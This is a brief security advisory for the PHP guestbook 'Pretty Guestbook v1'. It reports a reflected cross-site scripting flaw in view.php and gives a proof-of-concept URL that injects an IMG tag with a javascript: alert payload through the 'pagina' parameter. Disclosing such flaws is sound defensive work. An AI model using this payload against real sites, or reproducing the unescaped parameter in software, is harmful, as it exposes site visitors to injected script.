Pretty Guestbook v1

[luny@xxxxxxxxxxxxxxx]

Homepage:
http://www.tuttophp.altervista.org/main.php

Description:
Text-based guestbook with the following features: - Data storing on text file - 
Paging of messages on screen - Blockage of messages with words too long into - 
Blockage of messages with both html tags(<>) - Validity-checking of email 
address

Effected files:
view.php

XSS achived by URL Injection of pagina variable:

http://www.example.com/prettyguest-ing/view.php?pagina=1<IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))>